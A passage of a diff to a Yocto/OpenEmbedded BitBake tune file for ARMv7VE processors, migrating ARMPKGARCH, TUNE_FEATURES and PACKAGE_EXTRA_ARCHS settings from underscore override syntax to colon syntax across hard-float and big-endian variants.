-PACKAGE_EXTRA_ARCHS_tune-armv7ve = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} armv7ve armv7ve-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} armv7ve armv7ve-vfp armv7vet2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} armv7ve-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} armv7ve-vfpv3d16 armv7vet2-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-vfpv3d16} armv7ve-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-vfpv3d16} armv7ve-vfpv3 armv7vet2-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} armv7ve-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} armv7ve-vfpv4d16 armv7vet2-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} armv7ve-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} armv7ve-neon armv7vet2-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon} armv7ve-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon} armv7ve-neon-vfpv4 armv7vet2-neon-vfpv4"
+ARMPKGARCH:tune-armv7ve ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet ?= "armv7ve"
+ARMPKGARCH:tune-armv7ve-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7ve-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7ve-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7ve-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7ve-neon-vfpv4 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vet-neon-vfpv4 ?= "armv7ve"
+TUNE_FEATURES:tune-armv7ve = "arm armv7ve vfp"
+TUNE_FEATURES:tune-armv7vet = "${TUNE_FEATURES:tune-armv7ve} thumb"
+TUNE_FEATURES:tune-armv7ve-vfpv3d16 = "${TUNE_FEATURES:tune-armv7ve} vfpv3d16"
+TUNE_FEATURES:tune-armv7vet-vfpv3d16 = "${TUNE_FEATURES:tune-armv7vet} vfpv3d16"
+TUNE_FEATURES:tune-armv7ve-vfpv3 = "${TUNE_FEATURES:tune-armv7ve-vfpv3d16} vfpv3"
+TUNE_FEATURES:tune-armv7vet-vfpv3 = "${TUNE_FEATURES:tune-armv7vet-vfpv3d16} vfpv3"
+TUNE_FEATURES:tune-armv7ve-vfpv4d16 = "${TUNE_FEATURES:tune-armv7ve} vfpv4d16"
+TUNE_FEATURES:tune-armv7vet-vfpv4d16 = "${TUNE_FEATURES:tune-armv7vet} vfpv4d16"
+TUNE_FEATURES:tune-armv7ve-neon = "${TUNE_FEATURES:tune-armv7ve} neon"
+TUNE_FEATURES:tune-armv7vet-neon = "${TUNE_FEATURES:tune-armv7vet} neon"
+TUNE_FEATURES:tune-armv7ve-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7ve-neon} vfpv4"
+TUNE_FEATURES:tune-armv7vet-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7vet-neon} vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} armv7ve armv7ve-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} armv7ve armv7ve-vfp armv7vet2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} armv7ve-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} armv7ve-vfpv3d16 armv7vet2-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-vfpv3d16} armv7ve-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-vfpv3d16} armv7ve-vfpv3 armv7vet2-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} armv7ve-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} armv7ve-vfpv4d16 armv7vet2-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} armv7ve-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} armv7ve-neon armv7vet2-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon} armv7ve-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon} armv7ve-neon-vfpv4 armv7vet2-neon-vfpv4"
# HF Tunes
AVAILTUNES += "armv7vehf armv7vethf armv7vehf-vfpv3d16 armv7vethf-vfpv3d16 armv7vehf-vfpv3 armv7vethf-vfpv3 armv7vehf-vfpv4d16 armv7vethf-vfpv4d16 armv7vehf-neon armv7vethf-neon armv7vehf-neon-vfpv4 armv7vethf-neon-vfpv4"
-ARMPKGARCH_tune-armv7vehf ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehf-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehf-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehf-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehf-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehf-neon-vfpv4 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethf-neon-vfpv4 ?= "armv7ve"
-TUNE_FEATURES_tune-armv7vehf = "${TUNE_FEATURES_tune-armv7ve} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf = "${TUNE_FEATURES_tune-armv7vet} callconvention-hard"
-TUNE_FEATURES_tune-armv7vehf-vfpv3d16 = "${TUNE_FEATURES_tune-armv7ve-vfpv3d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf-vfpv3d16 = "${TUNE_FEATURES_tune-armv7vet-vfpv3d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7vehf-vfpv3 = "${TUNE_FEATURES_tune-armv7ve-vfpv3} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf-vfpv3 = "${TUNE_FEATURES_tune-armv7vet-vfpv3} callconvention-hard"
-TUNE_FEATURES_tune-armv7vehf-vfpv4d16 = "${TUNE_FEATURES_tune-armv7ve-vfpv4d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf-vfpv4d16 = "${TUNE_FEATURES_tune-armv7vet-vfpv4d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7vehf-neon = "${TUNE_FEATURES_tune-armv7ve-neon} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf-neon = "${TUNE_FEATURES_tune-armv7vet-neon} callconvention-hard"
-TUNE_FEATURES_tune-armv7vehf-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7ve-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-armv7vethf-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7vet-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} armv7vehf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} armv7vehf-vfp armv7vet2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} armv7vehf-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} armv7vehf-vfpv3d16 armv7vet2hf-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-vfpv3d16} armv7vehf-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-vfpv3d16} armv7vehf-vfpv3 armv7vet2hf-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} armv7vehf-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} armv7vehf-vfpv4d16 armv7vet2hf-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} armv7vehf-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} armv7vehf-neon armv7vet2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon} armv7vehf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon} armv7vehf-neon-vfpv4 armv7vet2hf-neon-vfpv4"
+ARMPKGARCH:tune-armv7vehf ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehf-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehf-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehf-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehf-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehf-neon-vfpv4 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethf-neon-vfpv4 ?= "armv7ve"
+TUNE_FEATURES:tune-armv7vehf = "${TUNE_FEATURES:tune-armv7ve} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf = "${TUNE_FEATURES:tune-armv7vet} callconvention-hard"
+TUNE_FEATURES:tune-armv7vehf-vfpv3d16 = "${TUNE_FEATURES:tune-armv7ve-vfpv3d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf-vfpv3d16 = "${TUNE_FEATURES:tune-armv7vet-vfpv3d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7vehf-vfpv3 = "${TUNE_FEATURES:tune-armv7ve-vfpv3} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf-vfpv3 = "${TUNE_FEATURES:tune-armv7vet-vfpv3} callconvention-hard"
+TUNE_FEATURES:tune-armv7vehf-vfpv4d16 = "${TUNE_FEATURES:tune-armv7ve-vfpv4d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf-vfpv4d16 = "${TUNE_FEATURES:tune-armv7vet-vfpv4d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7vehf-neon = "${TUNE_FEATURES:tune-armv7ve-neon} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf-neon = "${TUNE_FEATURES:tune-armv7vet-neon} callconvention-hard"
+TUNE_FEATURES:tune-armv7vehf-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7ve-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-armv7vethf-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7vet-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} armv7vehf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} armv7vehf-vfp armv7vet2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} armv7vehf-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} armv7vehf-vfpv3d16 armv7vet2hf-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-vfpv3d16} armv7vehf-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-vfpv3d16} armv7vehf-vfpv3 armv7vet2hf-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} armv7vehf-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} armv7vehf-vfpv4d16 armv7vet2hf-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} armv7vehf-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} armv7vehf-neon armv7vet2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon} armv7vehf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon} armv7vehf-neon-vfpv4 armv7vet2hf-neon-vfpv4"
# Big Endian
AVAILTUNES += "armv7veb armv7vetb armv7veb-vfpv3d16 armv7vetb-vfpv3d16 armv7veb-vfpv3 armv7vetb-vfpv3 armv7veb-vfpv4d16 armv7vetb-vfpv4d16 armv7veb-neon armv7vetb-neon armv7veb-neon-vfpv4 armv7vetb-neon-vfpv4"
-ARMPKGARCH_tune-armv7veb ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb ?= "armv7ve"
-ARMPKGARCH_tune-armv7veb-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7veb-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7veb-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7veb-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7veb-neon-vfpv4 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb-neon-vfpv4 ?= "armv7ve"
-TUNE_FEATURES_tune-armv7veb = "${TUNE_FEATURES_tune-armv7ve} bigendian"
-TUNE_FEATURES_tune-armv7vetb = "${TUNE_FEATURES_tune-armv7vet} bigendian"
-TUNE_FEATURES_tune-armv7veb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7ve-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7vetb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7vet-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7veb-vfpv3 = "${TUNE_FEATURES_tune-armv7ve-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7vetb-vfpv3 = "${TUNE_FEATURES_tune-armv7vet-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7veb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7ve-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7vetb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7vet-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7veb-neon = "${TUNE_FEATURES_tune-armv7ve-neon} bigendian"
-TUNE_FEATURES_tune-armv7vetb-neon = "${TUNE_FEATURES_tune-armv7vet-neon} bigendian"
-TUNE_FEATURES_tune-armv7veb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7ve-neon-vfpv4} bigendian"
-TUNE_FEATURES_tune-armv7vetb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7vet-neon-vfpv4} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab} armv7veb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb} armv7veb-vfp armv7vet2b-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7veb} armv7veb-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vetb} armv7veb-vfpv3d16 armv7vet2b-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7veb-vfpv3d16} armv7veb-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vetb-vfpv3d16} armv7veb-vfpv3 armv7vet2b-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7veb} armv7veb-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vetb} armv7veb-vfpv4d16 armv7vet2b-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7veb} armv7veb-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vetb} armv7veb-neon armv7vet2b-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7veb-neon} armv7veb-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vetb-neon} armv7veb-neon-vfpv4 armv7vet2b-neon-vfpv4"
+ARMPKGARCH:tune-armv7veb ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb ?= "armv7ve"
+ARMPKGARCH:tune-armv7veb-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7veb-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7veb-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7veb-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7veb-neon-vfpv4 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb-neon-vfpv4 ?= "armv7ve"
+TUNE_FEATURES:tune-armv7veb = "${TUNE_FEATURES:tune-armv7ve} bigendian"
+TUNE_FEATURES:tune-armv7vetb = "${TUNE_FEATURES:tune-armv7vet} bigendian"
+TUNE_FEATURES:tune-armv7veb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7ve-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7vetb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7vet-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7veb-vfpv3 = "${TUNE_FEATURES:tune-armv7ve-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7vetb-vfpv3 = "${TUNE_FEATURES:tune-armv7vet-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7veb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7ve-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7vetb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7vet-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7veb-neon = "${TUNE_FEATURES:tune-armv7ve-neon} bigendian"
+TUNE_FEATURES:tune-armv7vetb-neon = "${TUNE_FEATURES:tune-armv7vet-neon} bigendian"
+TUNE_FEATURES:tune-armv7veb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7ve-neon-vfpv4} bigendian"
+TUNE_FEATURES:tune-armv7vetb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7vet-neon-vfpv4} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab} armv7veb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb} armv7veb-vfp armv7vet2b-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7veb} armv7veb-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vetb} armv7veb-vfpv3d16 armv7vet2b-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7veb-vfpv3d16} armv7veb-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vetb-vfpv3d16} armv7veb-vfpv3 armv7vet2b-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7veb} armv7veb-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vetb} armv7veb-vfpv4d16 armv7vet2b-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7veb} armv7veb-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vetb} armv7veb-neon armv7vet2b-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7veb-neon} armv7veb-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vetb-neon} armv7veb-neon-vfpv4 armv7vet2b-neon-vfpv4"
# Big Endian + HF
AVAILTUNES += "armv7vehfb armv7vethfb armv7vehfb-vfpv3d16 armv7vethfb-vfpv3d16 armv7vehfb-vfpv3 armv7vethfb-vfpv3 armv7vehfb-vfpv4d16 armv7vethfb-vfpv4d16 armv7vehfb-neon armv7vethfb-neon armv7vehfb-neon-vfpv4 armv7vethfb-neon-vfpv4"
-ARMPKGARCH_tune-armv7vehfb ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehfb-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehfb-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehfb-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehfb-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehfb-neon-vfpv4 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb-neon-vfpv4 ?= "armv7ve"
-TUNE_FEATURES_tune-armv7vehfb = "${TUNE_FEATURES_tune-armv7vehf} bigendian"
-TUNE_FEATURES_tune-armv7vethfb = "${TUNE_FEATURES_tune-armv7vethf} bigendian"
-TUNE_FEATURES_tune-armv7vehfb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7vehf-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7vethfb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7vethf-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7vehfb-vfpv3 = "${TUNE_FEATURES_tune-armv7vehf-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7vethfb-vfpv3 = "${TUNE_FEATURES_tune-armv7vethf-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7vehfb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7vehf-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7vethfb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7vethf-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7vehfb-neon = "${TUNE_FEATURES_tune-armv7vehf-neon} bigendian"
-TUNE_FEATURES_tune-armv7vethfb-neon = "${TUNE_FEATURES_tune-armv7vethf-neon} bigendian"
-TUNE_FEATURES_tune-armv7vehfb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7vehf-neon-vfpv4} bigendian"
-TUNE_FEATURES_tune-armv7vethfb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7vethf-neon-vfpv4} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb} armv7vehfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb} armv7vehfb-vfp armv7vet2hfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehfb} armv7vehfb-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethfb} armv7vehfb-vfpv3d16 armv7vet2hfb-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-vfpv3d16} armv7vehfb-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-vfpv3d16} armv7vehfb-vfpv3 armv7vet2hfb-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehfb} armv7vehfb-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethfb} armv7vehfb-vfpv4d16 armv7vet2hfb-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehfb} armv7vehfb-neon"
